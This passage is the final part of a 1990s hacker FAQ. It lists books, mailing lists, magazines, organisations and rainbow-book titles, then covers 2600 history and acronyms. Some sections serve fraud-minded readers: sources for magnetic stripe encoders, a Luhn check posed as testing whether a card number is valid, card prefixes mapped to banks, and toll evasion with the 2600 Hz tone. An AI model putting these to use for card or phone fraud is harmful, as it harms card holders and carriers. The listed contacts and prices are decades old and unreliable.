- ISBN: 0-471-59756-2
-
- Bruce Schneier's book replaces all other texts on
- cryptography. If you are interested in cryptography, this is
- a must read. This may be the first and last book on
- cryptography you may ever need to buy.
-
- Cryptography and Data Security
- Author: Dorothy Denning
- Publisher: Addison-Wesley Publishing Co.
- Copyright Date: 1982
- ISBN: 0-201-10150-5
-
- Protect Your Privacy: A Guide for PGP Users
- Author: William Stallings
- Publisher: Prentice-Hall
- Copyright Date: 1994
- ISBN: 0-13-185596-4
-
-
- Programmed Threats
- ~~~~~~~~~~~~~~~~~~
- The Little Black Book of Computer Viruses
- Author: Mark Ludwig
- Publisher: American Eagle Publications
- Copyright Date: 1990
- ISBN: 0-929408-02-0
-
- The original, and still the best, book on computer viruses.
- No media hype here, just good clean technical information.
-
- Computer Viruses, Artificial Life and Evolution
- Author: Mark Ludwig
- Publisher: American Eagle Publications
- Copyright Date: 1993
- ISBN: 0-929408-07-1
-
- Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
- Threats to Your System
- Author: John McAfee and Colin Haynes
- Publisher: St. Martin's Press
- Copyright Date: 1989
- ISBN: 0-312-03064-9 and 0-312-02889-X
-
- The Virus Creation Labs: A Journey Into the Underground
- Author: George Smith
- Publisher: American Eagle Publications
- Copyright Date: 1994
- ISBN:
-
-
- Telephony
- ~~~~~~~~~
- Engineering and Operations in the Bell System
- Author: R.F. Rey
- Publisher: Bell Telephont Laboratories
- Copyright Date: 1983
- ISBN: 0-932764-04-5
-
- Although hopelessly out of date, this book remains *THE* book
- on telephony. This book is 100% Bell, and is loved by phreaks
- the world over.
-
- Telephony: Today and Tomorrow
- Author: Dimitris N. Chorafas
- Publisher: Prentice-Hall
- Copyright Date: 1984
- ISBN: 0-13-902700-9
-
- The Telecommunications Fact Book and Illustrated Dictionary
- Author: Ahmed S. Khan
- Publisher: Delmar Publishers, Inc.
- Copyright Date: 1992
- ISBN: 0-8273-4615-8
-
- I find this dictionary to be an excellent reference book on
- telephony, and I recommend it to anyone with serious
- intentions in the field.
-
- N Tandy/Radio Shack Cellular Hardware
- Author: Judas Gerard and Damien Thorn
- Publisher: Phoenix Rising Communications
- Copyright Date: 1994
- ISBN:
-
- N The Phone Book
- Author: Carl Oppendahl
- Publisher: Consumer Reports
- Copyright Date:
- ISBN: 0-89043-364-x
-
- Listing of every cellular ID in the us, plus roaming ports,
- and info numbers for each carrier.
-
- N Principles of Caller I.D.
- Author:
- Publisher: International MicroPower Corp.
- Copyright Date:
- ISBN:
-
-
- Hacking History and Culture
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~
- The Hacker Crackdown: Law and Disorder on the Electronic Frontier
- Author: Bruce Sterling
- Publisher: Bantam Books
- Copyright Date: 1982
- ISBN: 0-553-56370-X
-
- Bruce Sterling has recently released the book FREE to the net.
- The book is much easier to read in print form, and the
- paperback is only $5.99. Either way you read it, you will be
- glad you did. Mr. Sterling is an excellent science fiction
- author and has brought his talent with words to bear on the
- hacking culture. A very enjoyable reading experience.
-
- Cyberpunk
- Author: Katie Hafner and John Markoff
- Publisher: Simon and Schuster
- Copyright Date: 1991
- ISBN: 0-671-77879-X
-
- The Cuckoo's Egg
- Author: Cliff Stoll
- Publisher: Simon and Schuster
- Copyright Date: 1989
- ISBN: 0-671-72688-9
-
- Hackers: Heroes of the Computer Revolution
- Author: Steven Levy
- Publisher: Doubleday
- Copyright Date: 1984
- ISBN: 0-440-13495-6
-
-
- Unclassified
- ~~~~~~~~~~~~
- The Hacker's Handbook
- Author: Hugo Cornwall
- Publisher: E. Arthur Brown Company
- Copyright Date:
- ISBN: 0-912579-06-4
-
- Secrets of a Super Hacker
- Author: The Knightmare
- Publisher: Loompanics
- Copyright Date: 1994
- ISBN: 1-55950-106-5
-
- The Knightmare is no super hacker. There is little or no real
- information in this book. The Knightmare gives useful advice
- like telling you not to dress up before going trashing.
- The Knightmare's best hack is fooling Loompanics into
- publishing this garbage.
-
- The Day The Phones Stopped
- Author: Leonard Lee
- Publisher: Primus / Donald I Fine, Inc.
- Copyright Date: 1992
- ISBN: 1-55611-286-6
-
- Total garbage. Paranoid delusions of a lunatic. Less factual
- data that an average issue of the Enquirer.
-
- Information Warfare
- Author: Winn Swartau
- Publisher: Thunder Mountain Press
- Copyright Date: 1994
- ISBN: 1-56025-080-1
-
- An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
- Author: Doug Richardson
- Publisher: Salamander Press
- Copyright Date:
- ISBN: 0-668-06497-8
-
-
- 10. What are some videos of interest to hackers?
-
- 'Unauthorized Access' by Annaliza Savage
- $25 on VH S format in 38-min
- Savage Productions
- 1803 Mission St., #406
- Santa Cruz, CA 95060
-
-
- 11. What are some mailing lists of interest to hackers?
-
- Academic Firewalls
- Reflector Address:
- Registration Address: Send a message to majordomo@greatcircle.com
- containing the line "subscribe firewalls user@host"
-
- U Bugtraq
- Reflector Address: bugtraq@fc.net
- Registration Address: bugtraq-request@fc.net
-
- Cert Tools
- Reflector Address: cert-tools@cert.org
- Registration Address: cert-tools-request@cert.org
-
- Computers and Society
- Reflector Address: Comp-Soc@limbo.intuitive.com
- Registration Address: taylor@limbo.intuitive.com
-
- Coordinated Feasibility Effort to Unravel State Data
- Reflector Address: ldc-sw@cpsr.org
- Registration Address:
-
- CPSR Announcement List
- Reflector Address: cpsr-announce@cpsr.org
- Registration Address:
-
- CPSR - Intellectual Property
- Reflector Address: cpsr-int-prop@cpsr.org
- Registration Address:
-
- CPSR - Internet Library
- Reflector Address: cpsr-library@cpsr.org
- Registration Address:
-
- DefCon Announcement List
- Reflector Address:
- Registration Address: Send a message to majordomo@fc.net containing
- the line "subscribe dc-announce"
-
- DefCon Chat List
- Reflector Address:
- Registration Address: Send a message to majordomo@fc.net containing
- the line "subscribe dc-stuff"
-
- N IDS (Intruder Detection Systems)
- Reflector Address:
- Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
- containing the line "subscribe ids"
-
- Macintosh Security
- Reflector Address: mac-security@eclectic.com
- Registration Address: mac-security-request@eclectic.com
-
- NeXT Managers
- Reflector Address:
- Registration Address: next-managers-request@stolaf.edu
-
- Phiber-Scream
- Reflector Address:
- Registration Address: Send a message to listserv@netcom.com
- containing the line "subscribe phiber-scream user@host"
-
- N phruwt-l (Macintosh H/P)
- Reflector Address:
- Registration Address: Send a message to filbert@netcom.com
- with the subject "phruwt-l"
-
- rfc931-users
- Reflector Address: rfc931-users@kramden.acf.nyu.edu
- Registration Address: brnstnd@nyu.edu
-
- RSA Users
- Reflector Address: rsaref-users@rsa.com
- Registration Address: rsaref-users-request@rsa.com
-
-
- 12. What are some print magazines of interest to hackers?
-
- 2600 - The Hacker Quarterly
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~
- E-mail address: 2600@well.sf.ca.us
-
- Subscription Address: 2600 Subscription Dept
- PO Box 752
- Middle Island, NY 11953-0752
-
- Letters and article submission address: 2600 Editorial Dept
- PO Box 99
- Middle Island, NY 11953-0099
-
- Subscriptions: United States: $21/yr individual, $50 corporate.
- Overseas: $30/yr individual, $65 corporate.
-
-
- Gray Areas
- ~~~~~~~~~~
- Gray Areas examines gray areas of law and morality and subject matter
- which is illegal, immoral and/oe controversial. Gray Areas explores
- why hackers hack and puts hacking into a sociological framework of
- deviant behavior.
-
- E-Mail Address: grayarea@well.sf.ca.us
- E-Mail Address: grayarea@netaxs.com
-
- U.S. Mail Address: Gray Areas
- PO Box 808
- Broomall, PA 19008
-
- Subscriptions: $26.00 4 issues first class
- $34.00 4 issues foreign (shipped air mail)
-
-
- Privacy Newsletter
- ~~~~~~~~~~~~~~~~~~
- Privacy Newsletter is a monthly newsletter devoted to showing
- consumers how to get privacy and keep it.
-
- E-Mail Address: privacy@interramp.com
-
- Subscription Address: Privacy Newsletter
- P.O. Box 8206
- Philadelphia, PA 19101-8206
-
-
- Subscriptions: $99/yr (US) $149/yr (Overseas)
-
-
- Wired
- ~~~~~
- Subscription Address: subscriptions@wired.com
- or: Wired
- PO Box 191826
- San Francisco, CA 94119-9866
-
- Letters and article submission address: guidelines@wired.com
- or: Wired
- 544 Second Street
- San Francisco, CA 94107-1427
-
- Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)
-
-
- Nuts & Volts
- ~~~~~~~~~~~~
- T& L Publications
- 430 Princeland Court
- Corona, CA 91719
- (800)783-4624 (Voice) (Subscription Only Order Line)
- (909)371-8497 (Voice)
- (909)371-3052 (Fax)
- CIS: 74262,3664
-
-
- 13. What are some e-zines of interest to hackers?
-
- CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
- Empire Times ftp.etext.org /pub/Zines/Emptimes
- Phrack freeside.com
-
-
- 14. What are some organizations of interest to hackers?
-
- Computer Professionals for Social Responsibility (CPSR)
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CPSR empowers computer professionals and computer users to advocate
- for the responsible use of information technology and empowers all who
- use computer technology to participate in the public debate. As
- technical experts, CPSR members provide the public and policymakers
- with realistic assessments of the power, promise, and limitations of
- computer technology. As an organization of concerned citizens, CPSR
- directs public attention to critical choices concerning the
- applications of computing and how those choices affect society.
-
- By matching unimpeachable technical information with policy
- development savvy, CPSR uses minimum dollars to have maximum impact
- and encourages broad public participation in the shaping of technology
- policy.
-
- Every project we undertake is based on five principles:
-
- * We foster and support public discussion of and public
- responsibility for decisions involving the use of computers in
- systems critical to society.
-
- * We work to dispel popular myths about the infallibility of
- technological systems.
-
- * We challenge the assumption that technology alone can solve
- political and social problems.
-
- * We critically examine social and technical issues within the
- computer profession, nationally and internationally.
-
- * We encourage the use of computer technology to improve the quality
- of life.
-
- CPSR Membership Categories
- 75 REGULAR MEMBER
- 50 Basic member
- 200 Supporting member
- 500 Sponsoring member
- 1000 Lifetime member
- 20 Student/low income member
- 50 Foreign subscriber
- 50 Library/institutional subscriber
-
- CPSR National Office
- P.O. Box 717
- Palo Alto, CA 94301
- 415-322-3778
- 415-322-3798 (FAX)
- E-mail: cpsr@csli.stanford.edu
-
-
- Electronic Frontier Foundation (EFF)
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
- of policies and activities that will advance freedom and openness in
- computer-based communications. It is a member-supported, nonprofit
- group that grew from the conviction that a new public interest
- organization was needed in the information age; that this organization
- would enhance and protect the democratic potential of new computer
- communications technology. From the beginning, the EFF determined to
- become an organization that would combine technical, legal, and public
- policy expertise, and would apply these skills to the myriad issues
- and concerns that arise whenever a new communications medium is born.
-
- Memberships are $20.00 per year for students, $40.00 per year for
- regular members, and $100.00 per year for organizations.
-
- The Electronic Frontier Foundation, Inc.
- 666 Pennsylvania Avenue S.E., Suite 303
- Washington, D.C. 20003
- +1 202 544 9237
- +1 202 547 5481 FAX
- Internet: eff@eff.org
-
-
- Free Software Foundation (FSF) and GNU
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
- The Free Software Foundation is dedicated to eliminating restrictions
- on people's right to use, copy, modify, and redistribute computer
- programs. We promote the development and use of free software in all
- areas using computers. Specifically, we are putting together a
- complete, integrated software system named "GNU" ("GNU's Not Unix",
- pronounced "guh-new") that will be upwardly compatible with Unix.
- Most parts of this system are already being used and distributed.
-
- The word "free" in our name refers to freedom, not price. You may or
- may not pay money to get GNU software, but regardless you have two
- specific freedoms once you get it: first, the freedom to copy a
- program and give it away to your friends and co-workers; and second,
- the freedom to chnage a program as you wish, by having full access to
- source code. You can study the source and learn how such programs are
- written. You may then be able to port it, improve it, and share your
- changes with others. If you redistribute GNU software you may charge
- a distribution fee or give it away, so long as you include the source
- code and the GPL (GNU General Public License).
-
- Free Software Foundation, Inc. Telephone: +1-617-876-3296
- 673 Massachusetts Avenue Fax: +1-617-492-9057
- Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
- Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC)
-
- GNU is to be a complete integrated computational environment:
- everything you need to work with a computer, either as a programmer or
- as a person in an office or home. The core is an operating system,
- which consists of a central program called a kernel that runs the
- other programs on the computer, and a large number of ancillary
- programs for handling files, etc. The Free Software Foundation is
- developing an advanced kernel called the Hurd.
-
- A complete system has tools for programmers, such as compilers and
- debuggers. It also has editors, sketchpads, calendars, calculators,
- spreadsheets, databases, electronic mail readers, and Internet
- navigators. The FSF already distributes most of the programs used in
- an operating system, all the tools regularly used by programmers, and
- much more.
-
-
- The League for Programming Freedom (LPF)
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- The League for Programming Freedom is an organization of people who
- oppose the attempt to monopolize common user interfaces through "look
- and feel" copyright lawsuits. Some of us are programmers, who worry
- that such monopolies will obstruct our work. Some of us are users,
- who want new computer systems to be compatible with the interfaces we
- know. Some are founders of hardware or software companies, such as
- Richard P. Gabriel. Some of us are professors or researchers,
- including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
- Boyer and Patrick Winston.
-
- "Look and feel" lawsuits aim to create a new class of government-
- enforced monopolies broader in scope than ever before. Such a system
- of user-interface copyright would impose gratuitous incompatibility,
- reduce competition, and stifle innovation.
-
- We in the League hope to prevent these problems by preventing
- user-interface copyright. The League is NOT opposed to copyright law
- as it was understood until 1986 -- copyright on particular programs.
- Our aim is to stop changes in the copyright system which would take
- away programmers' traditional freedom to write new programs compatible
- with existing programs and practices.
-
- Annual dues for individual members are $42 for employed professionals,
- $10.50 for students, and $21 for others. We appreciate activists, but
- members who cannot contribute their time are also welcome.
-
- To contact the League, phone (617) 243-4091, send Internet mail to the
- address league@prep.ai.mit.edu, or write to:
-
- League for Programming Freedom
- 1 Kendall Square #143
- P.O. Box 9171
- Cambridge, MA 02139 USA
-
-
- SotMesc
- ~~~~~~~
- Founded in 1989, SotMesc is dedicated to preserving the integrity and
- cohesion of the computing society. By promoting computer education,
- liberties and efficiency, we believe we can secure freedoms for all
- computer users while retaining privacy.
-
- SotMesc maintains the CSP Internet mailing list, the SotMesc
- Scholarship Fund, and the SotMesc Newsletter.
-
- The SotMESC is financed partly by membership fees, and donations, but
- mostly by selling hacking, cracking, phreaking, electronics, internet,
- and virus information and programs on disk and bound paper media.
-
- SotMesc memberships are $20 to students and $40 to regular members.
-
- SotMESC
- P.O. Box 573
- Long Beach, MS 39560
-
-
- Computer Emergency Response Team (CERT
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
- CERT is the Computer Emergency Response Team that was formed by the
- Defense Advanced Research Projects Agency (DARPA) in November 1988 in
- response to the needs exhibited during the Internet worm incident.
- The CERT charter is to work with the Internet community to facilitate
- its response to computer security events involving Internet hosts, to
- take proactive steps to raise the community's awareness of computer
- security issues, and to conduct research targeted at improving the
- security of existing systems.
-
- CERT products and services include 24-hour technical assistance for
- responding to computer security incidents, product vulnerability
- assistance, technical documents, and seminars. In addition, the team
- maintains a number of mailing lists (including one for CERT
- advisories) and provides an anonymous FTP server: cert.org
- (192.88.209.5), where security-related documents, past CERT
- advisories, and tools are archived.
-
- CERT contact information:
-
- U.S. mail address
- CERT Coordination Center
- Software Engineering Institute
- Carnegie Mellon University
- Pittsburgh, PA 15213-3890
- U.S.A.
-
- Internet E-mail address
- cert@cert.org
-
- Telephone number
- (412)268-7090 (24-hour hotline)
- CERT Coordination Center personnel answer
- 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
- emergencies during other hours.
-
- FAX number
- (412)268-6989
-
-
- 15. Where can I purchase a magnetic stripe encoder/decoder?
-
- CPU Advance
- PO Box 2434
- Harwood Station
- Littleton, MA 01460
- (508)624-4819 (Fax)
-
- Omron Electronics, Inc.
- One East Commerce Drive
- Schaumburg, IL 60173
- (800)556-6766 (Voice)
- (708)843-7787 (Fax)
-
- Security Photo Corporation
- 1051 Commonwealth Avenue
- Boston, MA 02215
- (800)533-1162 (Voice)
- (617)783-3200 (Voice)
- (617)783-1966 (Voice)
-
- Timeline Inc,
- 23605 Telo Avenue
- Torrence, CA 90505
- (800)872-8878 (Voice)
- (800)223-9977 (Voice)
-
- Alltronics
- 2300 Zanker Road
- San Jose CA 95131
- (408) 943-9774 Voice
- (408) 943-9776 Fax
- (408) 943-0622 BBS
- Part Number: 92U067
-
- Atalla Corp
- San Jose, CA
- (408) 435-8850
-
-
- 16. What are the rainbow books and how can I get them?
-
- Orange Book
- DoD 5200.28-STD
- Department of Defense Trusted Computer System Evaluation Criteria
-
- Green Book
- CSC-STD-002-85
- Department of Defense Password Management Guideline
-
- Yellow Book
- CSC-STD-003-85
- Computer Security Requirements -- Guidance for Applying the Department
- of Defense Trusted Computer System Evaluation Criteria in Specific
- Environments
-
- Yellow Book
- CSC-STD-004-85
- Technical Rationale Behind CSC-STD-003-85: Computer Security
- Requirements. Guidance for Applying the Department of Defense Trusted
- Computer System Evaluation Criteria in Specific Environments.
-
- Tan Book
- NCSC-TG-001
- A Guide to Understanding Audit in Trusted Systems
-
- Bright Blue Book
- NCSC-TG-002
- Trusted Product Evaluation - A Guide for Vendors
-
- Neon Orange Book
- NCSC-TG-003
- A Guide to Understanding Discretionary Access Control in Trusted
- Systems
-
- Teal Green Book
- NCSC-TG-004
- Glossary of Computer Security Terms
-
- Red Book
- NCSC-TG-005
- Trusted Network Interpretation of the Trusted Computer System
- Evaluation Criteria
-
- Orange Book
- NCSC-TG-006
- A Guide to Understanding Configuration Management in Trusted Systems
-
- Burgundy Book
- NCSC-TG-007
- A Guide to Understanding Design Documentation in Trusted Systems
-
- Dark Lavender Book
- NCSC-TG-008
- A Guide to Understanding Trusted Distribution in Trusted Systems
-
- Venice Blue Book
- NCSC-TG-009
- Computer Security Subsystem Interpretation of the Trusted Computer
- System Evaluation Criteria
-
- Aqua Book
- NCSC-TG-010
- A Guide to Understanding Security Modeling in Trusted Systems
-
- Dark Red Book
- NCSC-TG-011
- Trusted Network Interpretation Environments Guideline -- Guidance for
- Applying the Trusted Network Interpretation
-
- Pink Book
- NCSC-TG-013
- Rating Maintenance Phase -- Program Document
-
- Purple Book
- NCSC-TG-014
- Guidelines for Formal Verification Systems
-
- Brown Book
- NCSC-TG-015
- A Guide to Understanding Trusted Facility Management
-
- Yellow-Green Book
- NCSC-TG-016
- Guidelines for Writing Trusted Facility Manuals
-
- Light Blue
- NCSC-TG-017
- A Guide to Understanding Identification and Authentication in Trusted
- Systems
-
- Light Blue Book
- NCSC-TG-018
- A Guide to Understanding Object Reuse in Trusted Systems
-
- Blue Book
- NCSC-TG-019
- Trusted Product Evaluation Questionnaire
-
- Gray Book
- NCSC-TG-020A
- Trusted Unix Working Group (TRUSIX) Rationale for Selecting
- Access Control List Features for the Unix System
-
- Lavender Book
- NCSC-TG-021
- Trusted Data Base Management System Interpretation of the Trusted
- Computer System Evaluation Criteria
-
- Yellow Book
- NCSC-TG-022
- A Guide to Understanding Trusted Recovery in Trusted Systems
-
- Bright Orange Book
- NCSC-TG-023
- A Guide to Understandng Security Testing and Test Documentation in
- Trusted Systems
-
- Purple Book
- NCSC-TG-024 (Volume 1/4)
- A Guide to Procurement of Trusted Systems: An Introduction to
- Procurement Initiators on Computer Security Requirements
-
- Purple Book
- NCSC-TG-024 (Volume 2/4)
- A Guide to Procurement of Trusted Systems: Language for RFP
- Specifications and Statements of Work - An Aid to Procurement
- Initiators
-
- Purple Book
- NCSC-TG-024 (Volume 3/4)
- A Guide to Procurement of Trusted Systems: Computer Security Contract
- Data Requirements List and Data Item Description Tutorial
-
- +Purple Book
- +NCSC-TG-024 (Volume 4/4)
- +A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
- +Proposal Document - An Aid to Procurement Initiators and Contractors
-
- Green Book
- NCSC-TG-025
- A Guide to Understanding Data Remanence in Automated Information
- Systems
-
- Hot Peach Book
- NCSC-TG-026
- A Guide to Writing the Security Features User's Guide for Trusted Systems
-
- Turquiose Book
- NCSC-TG-027
- A Guide to Understanding Information System Security Officer
- Responsibilities for Automated Information Systems
-
- Violet Book
- NCSC-TG-028
- Assessing Controlled Access Protection
-
- Blue Book
- NCSC-TG-029
- Introduction to Certification and Accreditation
-
- Light Pink Book
- NCSC-TG-030
- A Guide to Understanding Covert Channel Analysis of Trusted Systems
-
- C1 Technical Report-001
- Computer Viruses: Prevention, Detection, and Treatment
-
- *C Technical Report 79-91
- *Integrity in Automated Information Systems
-
- *C Technical Report 39-92
- *The Design and Evaluation of INFOSEC systems: The Computer Security
- *Contributions to the Composition Discussion
-
- NTISSAM COMPUSEC/1-87
- Advisory Memorandum on Office Automation Security Guideline
-
- --
-
- You can get your own free copy of any or all of the books by writing
- or calling:
-
- INFOSEC Awareness Division
- ATTN: X711/IAOC
- Fort George G. Meade, MD 20755-6000
-
- Barbara Keller
- (410) 766-8729
-
- If you ask to be put on the mailing list, you'll get a copy of each new
- book as it comes out (typically a couple a year).
-
- [* == I have not personally seen this book]
- [+ == I have not personally seen this book, and I believe it may not]
- [ be available]
-
-
-
-
- Section D: 2600
- ~~~~~~~~~~~~~~~
-
- 01. What is alt.2600?
-
- Alt.2600 is a Usenet newsgroup for discussion of material relating to
- 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600
- game machine. Len@netsys.com created the group on Emmanuel
- Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
- Magazine. Following the barrage of postings about the Atari machine to
- alt.2600, an alt.atari.2600 was created to divert all of the atari
- traffic from alt.2600. Atari 2600 people are advised to hie over to
- rec.games.video.classic.
-
-
- 02. What does "2600" mean?
-
- 2600Hz was a tone that was used by early phone phreaks (or
- phreakers) in the 80's, and some currently. If the tone was sent down the
- line at the proper time, one could get away with all sorts of fun stuff.
-
- A note from Emmanuel Goldstein:
-
- "The Atari 2600 has NOTHING to do with blue boxes or telephones
- or the 2600 hertz tone. The 2600 hertz tone was simply the first
- step towards exploring the network. If you were successful at
- getting a toll call to drop, then billing would stop at that
- point but there would be billing for the number already dialed
- up until the point of seizure. 800 numbers and long distance
- information were both free in the past and records of who called
- what were either non-existent or very obscure with regards to
- these numbers. This, naturally, made them more popular than
- numbers that showed up on a bill, even if it was only for
- a minute. Today, many 800 numbers go overseas, which provides
- a quick and free way into another country's phone system
- which may be more open for exploration."
-
-
- 03. Are there on-line versions of 2600 available?
-
- No.
-
-
- 04. I can't find 2600 at any bookstores. What can I do?
-
- Subscribe. Or, let 2600 know via the subscription address that you
- think 2600 should be in the bookstore. Be sure to include the
- bookstores name and address.
-
-
- 05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
-
- A note from Emmanuel Goldstein:
-
- We've been selling 2600 at the same newsstand price ($4) since 1988
- and we hope to keep it at that price for as long as we can get away
- with it. At the same time, $21 is about the right price to cover
- subscriber costs, including postage and record keeping, etc. People
- who subscribe don't have to worry about finding an issue someplace,
- they tend to get issues several weeks before the newsstands get
- them, and they can take out free ads in the 2600 Marketplace.
-
- This is not uncommon in the publishing industry. The NY Times, for
- example, costs $156.50 at the newsstands, and $234.75 delivered to your
- door.
-
-
-
-
- Section E: Miscellaneous
- ~~~~~~~~~~~~~~~~~~~~~~~~
-
- 01. What does XXX stand for?
-
- TLA Three Letter Acronym
-
- ACL Access Control List
- PIN Personal Identification Number
- TCB Trusted Computing Base
-
- ALRU Automatic Line Record Update
- AN Associated Number
- ARSB Automated Repair Service Bureau
- ATH Abbreviated Trouble History
- BOC Bell Operating Company
- BOR Basic Output Report
- BOSS Business Office Servicing System
- CA Cable
- COE Central Office Equipment
- COSMOS Computer System for Main Frame Operations
- CMC Construction Maintenance Center
- CNID Calling Number IDentification
- CO Central Office
- COCOT Customer Owned Coin Operated Telephone
- CRSAB Centralized Repair Service Answering Bureau
- DDD Direct Distance Dialing
- ECC Enter Cable Change
- LD Long Distance
- LMOS Loop Maintenance Operations System
- MLT Mechanized Loop Testing
- NPA Numbering Plan Area
- POTS Plain Old Telephone Service
- RBOC Regional Bell Operating Company
- RSB Repair Service Bureau
- SS Special Service
- TAS Telephone Answering Service
- TH Trouble History
- TREAT Trouble Report Evaluation and Analysis Tool
-
- LOD Legion of Doom
- HFC Hell Fire Club
- TNO The New Order
-
- ACiD Ansi Creators in Demand
- CCi Cybercrime International
- FLT Fairlight
- iCE Insane Creators Enterprise
- iNC International Network of Crackers
- NTA The Nocturnal Trading Alliance
- PDX Paradox
- PE Public Enemy
- PSY Psychose
- QTX Quartex
- RZR Razor (1911)
- S!P Supr!se Productions
- TDT The Dream Team
- THG The Humble Guys
- THP The Hill People
- TRSI Tristar Red Sector Inc.
- UUDW Union of United Death Workers
-
-
- 02. How do I determine if I have a valid credit card number?
-
- Credit cards use the Luhn Check Digit Algorithm. The main purpose of
- this algorithm is to catch data entry errors, but it does double duty
- here as a weak security tool.
-
- For a card with an even number of digits, double every odd numbered
- digit and subtract 9 if the product is greater than 9. Add up all the
- even digits as well as the doubled-odd digits, and the result must be
- a multiple of 10 or it's not a valid card. If the card has an odd
- number of digits, perform the same addition doubling the even numbered
- digits instead.
-
-
- 03. What bank issued this credit card?
-
- 1033 Manufacturers Hanover Trust
- 1035 Citibank
- 1263 Chemical Bank
- 1665 Chase Manhattan
- 4024 Bank of America
- 4128 Citicorp
- 4209 New Era Bank
- 4302 HHBC
- 4310 Imperial Savings
- 4313 MBNA
- 4317 California Federal
- 5282 Wells Fargo
- 5424 Citibank
- 5410 Wells Fargo
- 5432 Bank of New York
- 6017 MBNA
-
-
- 04. What are the ethics of hacking?
-
- An excerpt from: Hackers: Heroes of the Computer Revolution
- by Steven Levy
-
- Access to computers -- and anything which might teach you
- something about the way the world works -- should be unlimited
- and total. Always yield to the Hands-On imperative.
-
- All information should be free.
-
- Mistrust Authority. Promote Decentralization.
-
- Hackers should be judged by their hacking, not bogus criteria
- such as degrees, age, race, or position.
-
- You can create art and beauty on a computer.
-
- Computers can change your life for the better.
-
-
- 04. Where can I get a copy of the alt.2600/#hack FAQ?
-
- Get it on FTP at:
- rahul.net /pub/lps
- rtfm.mit.edu /pub/usenet-by-group/alt.2600
- ftp.clark.net /pub/jcase
-
- Get it on the World Wide Web at:
- http://dfw.net/~aleph1
- http://www.engin.umich.edu/~jgotts/underground/hack-faq.html
- http://www.phantom.com/~king
-
- Get it on my BBS:
- Hacker's Haven (303)343-4053
-
-
-
-
-
- EOT
-
- --
- \* Will Spencer : The advancement and diffusion of knowledge *\
- \* Unix geek : is the only guardian of true liberty. *\
- \* PC guru : -- James Madison *\
- \* Revolutionary : 4th U.S. President *\
- Enter Command:
-